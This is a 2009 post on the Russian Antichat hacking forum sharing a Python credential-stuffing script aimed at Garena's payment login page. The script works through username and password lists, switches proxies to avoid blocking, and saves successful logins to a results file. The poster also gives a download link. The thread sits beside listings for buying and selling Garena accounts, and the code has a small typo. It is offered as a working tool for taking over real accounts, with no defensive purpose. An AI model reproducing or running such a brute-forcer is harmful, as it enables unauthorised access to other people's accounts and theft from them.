ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #9  
Старый 26.09.2009, 13:37
Аватар для login999
login999
Постоянный
Регистрация: 12.06.2008
Сообщений: 654
Провел на форуме:
4512757

Репутация: 973


По умолчанию

Мудаки на вашей garene работают =/
Поправил, брут уже работает.
Обсырать людей которые пишут в паблик не люблю, но брут кривоват...
Код:
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import urllib2
import re
import sys

users = open('users.txt', 'r').readlines()
passwords = open('passwords.txt', 'r').readlines()
proxies_file = open('proxies.txt', 'r').readlines()
hello = open('results.txt', 'w')

count = 25
proxies = []

for line in proxies_file:
    proxies.append(line.strip())
    
def get_proxy():
    try:
        proxy = proxies.pop()
    except IndexError:
        print 'Proxy list is empty!'
        sys.exit(0)
    return proxy
    
proxy = get_proxy()
print 'Proxy: ' + proxy

for user in users:
    user = user.strip()
    for password in passwords:
        if count == 0:
            proxy = get_proxy()
            print 'Proxy: ' + proxy
        password = password.strip()
        proxy_handler = urllib2.ProxyHandler( { "http": "http://"+proxy+"/" } )
        opener = urllib2.build_opener(proxy_handler)
        urllib2.install_opener(opener)
        login_form = '''------------xnEjMtYmSK7UIn2iLx7vYp
Content-Disposition: form-data; name="username"

{login}
------------xnEjMtYmSK7UIn2iLx7vYp
Content-Disposition: form-data; name="password"

{password}
------------xnEjMtYmSK7UIn2iLx7vYp
Content-Disposition: form-data; name="login"

Log In
------------xnEjMtYmSK7UIn2iLx7vYp--'''.format(login=user, password=password)
        modified_headers = {'Content-Length': len(login_form), 'Content-Type': "multipart/form-data; boundary=----------xnEjMtYmSK7UIn2iLx7vYp"}
        login_request = urllib2.Request("http://payment.garena.com/index.php?c=VXNlcg==&a=bG9naW4=", login_form, modified_headers)
        try:
            page = urllib2.urlopen(login_request).read()
            login = re.findall('Login successfully', page)
        except:
            proxy = get_proxy()
            print 'Proxy: ' + proxy
            page = urlli2b.urlopen(login_request).read()
            login = re.findall('Login successfully', page)
        if len(login) != 0:
            print 'Login successfully: ' + user + ';' + password
            hello.write(user + ';' + password + '\n')
        else:
            print 'Incorrect login: ' + user + ';' + password
        count -= 1
Ссылка на скачивание (для тех у кого он моргает, а потом пропадает)
http://www.sendspace.com/file/uaa3mz

Последний раз редактировалось login999; 26.09.2009 в 17:42..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Низкоуровневое исследование клиента игровой платформы Garena Dosia Статьи 28 29.05.2010 11:34
Аккаунты Garena shocker Разное - Покупка, продажа, обмен 5 22.09.2009 05:09



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ